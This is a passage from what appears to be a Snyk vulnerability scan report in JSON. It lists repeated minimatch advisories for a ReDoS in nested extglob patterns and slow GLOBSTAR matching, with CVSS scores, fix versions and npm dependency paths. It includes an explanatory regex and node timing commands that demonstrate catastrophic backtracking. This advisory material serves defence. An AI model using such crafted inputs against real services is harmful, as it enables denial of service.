"2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, 